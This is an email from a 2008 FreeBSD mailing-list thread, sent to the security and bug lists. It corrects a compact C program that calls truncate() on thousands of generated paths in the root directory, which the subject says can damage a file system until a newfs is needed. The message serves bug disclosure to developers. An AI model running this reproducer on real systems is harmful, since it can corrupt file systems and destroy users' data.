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From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= <des@des.no>
To: Jim Bryant <freebsd@electron-tube.net>
References: <47B90868.7000900@electron-tube.net> <86odae5rgr.fsf@ds4.des.no>
Date: Mon, 18 Feb 2008 14:53:59 +0100
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	=?utf-8?Q?rav=22's?= message of
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Cc: freebsd-fs@freebsd.org, freebsd-security@freebsd.org,
	FreeBSD-bugs@freebsd.org, freebsd-stable@freebsd.org
Subject: Re: How to take down a system to the point of requiring a newfs
	with one line of C (userland)
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Dag-Erling Sm=C3=B8rgrav <des@des.no> writes:
> Purely in the interest of showing off, here is my version.  It is 81
> bytes shorter than yours, it is valid C99 with POSIX extensions (yours
> is not), and it produces 11,450 files in about 0.2% of the time yours
> takes to produce 10,000.
>
> #include <unistd.h>
> #define b(i,v) for(int v=3D48;v<127;++v){f[i]=3Dv;
> #define a(i) b(i,v##i)
> int main(void){char f[5]=3D{'/'};a(1)a(2)a(3)truncate(f,0);}}}}

Two bugs:

1) I forgot to include the correct version of the code

2) the version I had created a few files with '/' in their names; this
   slightly nastier creates 10,648 files with only letters.

#include <unistd.h>
#define b(i,v)for(int v=3D65;v<87;){i[f]=3Dv++;
#define a(i)b(i,v##i)
int main(void){char f[4]=3D{47};a(1)a(2)a(3)truncate(f,0);}}}}

DES
--=20
Dag-Erling Sm=C3=B8rgrav - des@des.no